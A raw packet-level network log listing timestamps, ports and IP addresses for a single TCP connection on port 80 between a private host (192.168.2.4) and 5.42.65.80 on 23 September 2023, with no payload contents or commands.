Sep 23, 2023 17:53:22.957050085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.957091093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.957108974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.958065987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.958106995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.958117962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.958925962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.958942890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.958971024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.959830999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.959873915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.959877014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.960592985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.960638046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.960679054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.961600065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.961658001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.961674929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.962610006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.962660074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.962666988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.963463068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.963510036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.963536024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.964277029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.964319944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.964338064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.965193033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.965246916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.965264082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.965981960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.966027975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.966033936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.966959953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.967009068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.967022896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.968116999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.968166113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.968199015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.968939066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.968986034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.969012022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.970082998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.970139027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.970217943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.970335960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.970376968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.970443964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.971255064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.971297026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.971301079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.972121954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.972157001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.972165108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.972933054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.972975016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.972992897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.973546982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.973793983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.973844051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.973882914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.974643946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.974684954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.974757910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.975666046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.975717068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.975758076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.976933002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.976985931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.977003098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.977173090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.977216005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.977241039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.978353024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.978369951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.978419065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.978910923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.978955984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.978960991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.980221987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.980278969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.980287075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.980730057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.980791092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.980803013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.981384039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.981426954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.981432915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.982760906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.982820034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.982919931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.983488083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.983541965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.983555079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.984502077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.984520912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.984555960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.984587908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.984633923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.984658957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.985443115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.985507011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.985510111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.986427069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.986485004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.986531973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.986994982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.987035990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.987044096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.988115072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.988132000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.988171101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.988717079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.988770962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.988775969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.989392042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.989437103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.989465952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.991420984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.991441011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.991483927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.992113113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.992156982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.992163897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.992551088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.992603064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.992615938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.992904902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.992950916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.992983103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.993268967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.993310928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.993355036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.993974924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.994024992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.994036913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.994782925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.994827032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.994837046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.995584011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.995636940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.995708942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.996668100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.996687889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.996737003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.997073889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.997095108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.997126102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.997857094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.997874022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.997912884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.998591900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.998644114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.998647928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.999469042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.999489069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.999524117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.000227928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.000269890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.000346899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.000852108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.000894070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.000917912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.001205921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.001646996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.001694918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.001718998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.002516985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.002569914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.002572060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.003263950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.003319979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.003320932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.004066944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.004117966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.004123926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.004627943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.004673958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.004775047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.005459070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.005508900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.005513906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.006087065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.006103992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.006138086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.007002115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.007021904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.007056952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.007612944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.007657051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.007688046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.008857965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.008908033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.008944988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.010093927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.010135889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.010181904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.011430025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.011470079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.011487961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.012726068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.012779951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.012787104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.013875008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.013925076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.013931990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.015794992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.015837908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.015855074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.016628981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.016670942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.016686916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.018409014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.018451929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.018460035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.019576073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.019613028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.019660950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.020639896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.020682096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.020948887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.021292925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.021768093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.021809101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.021811008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.023364067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.023410082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.023422003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.024220943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.024267912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.024286985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.025557995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.025598049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.025644064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.027062893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.027108908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.027153015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.034223080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.036359072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.040534019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.040596962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.040643930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.041959047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.042015076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.042211056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.045939922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.045999050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.046004057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.048955917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.048978090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.048998117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.053257942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.053275108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.053328037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.057281971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.057322025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.057601929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.061117887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.061145067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.061172962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.064722061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.064738989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.064769983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.068892002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.068932056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.068953037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.070380926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.070427895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.070435047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.073909044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.073949099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.073978901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.078249931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.078289032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.078300953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.083071947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.083087921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.083111048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.083638906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.083679914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.083683014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.084634066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.084680080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.084750891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.085411072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.085469007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.085494995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.087172031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.087219954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.087225914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.088248968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.088295937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.088310003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.089478016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.089519978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.089539051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091123104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091171026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.091187000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091283083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091319084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.091337919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091860056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091896057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.091897964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.092540026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.092557907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.092586994 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.093652010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.093667984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.093698978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.094082117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.094124079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.094135046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.094185114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.094228029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.094774008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.094794035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.094830990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.094856977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.095829964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.095875025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.095895052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.096120119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.096162081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.096649885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.096786976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.096828938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.096868992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.097636938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.097682953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.097688913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.097800016 CEST	80	49781	5.42.65.80	192.168.2.4
